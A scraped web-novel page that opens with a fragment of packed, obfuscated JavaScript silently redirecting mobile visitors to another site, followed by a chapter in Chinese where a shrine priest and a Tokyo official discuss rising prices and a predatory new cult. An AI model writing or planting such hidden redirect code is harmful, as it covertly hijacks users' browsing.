d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368593|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不过这些都是表面上的东西,最重要的内核,还是需要你自己感悟。” “内核?” “没错,”浦野伸了个懒腰:“离仪式还有几天,你先跟着我儿子清彦做些准备工作吧,我今天还有客人要接待,就先不奉陪了。” 清和怔怔地看着他离开的背影,双手抚额,这个家伙,怎么看怎么不靠谱啊! 待浦野沐浴结束,身着白色净衣来到偏殿,里面的客人直直坐着,早已等候多时了。 浦野神色郑重几分:“久等了。” 东京府内务部地方课长——杉本正義放下手中的茶杯:“是我来得不巧了,听您孩子讲,今天有客人来?” “是好友的小孩要来学学祭祀仪式,没什么大事。”浦野在他对面坐下:“是个挺有意思的孩子,本身是学医的,不知怎得又想继承神社。” “是吗?”杉本很是好奇:“医生如今不是很吃香吗?还找不到工作?” “是他自己的想法。”浦野笑笑:“您今天来,是为了?” “也没什么大事。”话虽这么说,杉本的表情却瞬间阴郁:“今天上午,我接到了内务省的通知,要想办法平息最近的民间怨言。” 他将手中的浓茶一饮而尽,那架势,倒像是在喝酒一般。 浦野也长叹一口气:“近来,来神社祈福的人更多了,是不是个好兆头。” “你还会嫌人多?”杉本看向门外的人群:“神社不都是靠信众的香火支撑起来的吗?” 浦野笑着替他把茶水添满:“我虽不懂政治,可经营了这么多年神社,来来往往的人也见了不少。真正信仰神明的人,不过是少数中的少数。大部分人,都是因为遭遇了迷茫,想求得指引或是心安。” 杉本点点头,他其实自己也不太信这些,读了那么多年的工科,又学习了西洋传过来的先进技术,他对科学的信任远比虚无缥缈的神社要可靠得多。 只是—— 他看着浦野沉静的脸色,好像什么困难在他面前都不足为奇,有时候,自己只是来他这坐坐,那些烦恼的事情都能消散不少。 浦野继续道:“可最近一段时间,来祈愿的人越来越多,我想,应该是生活出了岔子。” “没错。”杉本也在苦恼这些,新技术的引进让财阀们赚得盆满钵满,与之而来的,则是米价暴涨,各类物品也涨的飞快,普通市民和农民的日子反倒更难过了。 “我听说,最近在东京的郊外山区,兴起了一个新的教派。”杉本回忆起发来的资料:“说是能解决信徒心中所有的苦难,走投无路的人只要加入了,都能得到解脱。” “不过是沽名钓誉之辈罢了。”浦野不以为然:“说的好听,利用人性的弱点,无外乎敛财,甚至害命。” “我已经派人关注了。” 浦野摇摇头:“还不够。” “杉本先生,该庆幸的是,现在,人们还在用宗教和酒精麻痹自己,等他们发现,这些都填饱不了肚子后,会发生什么?”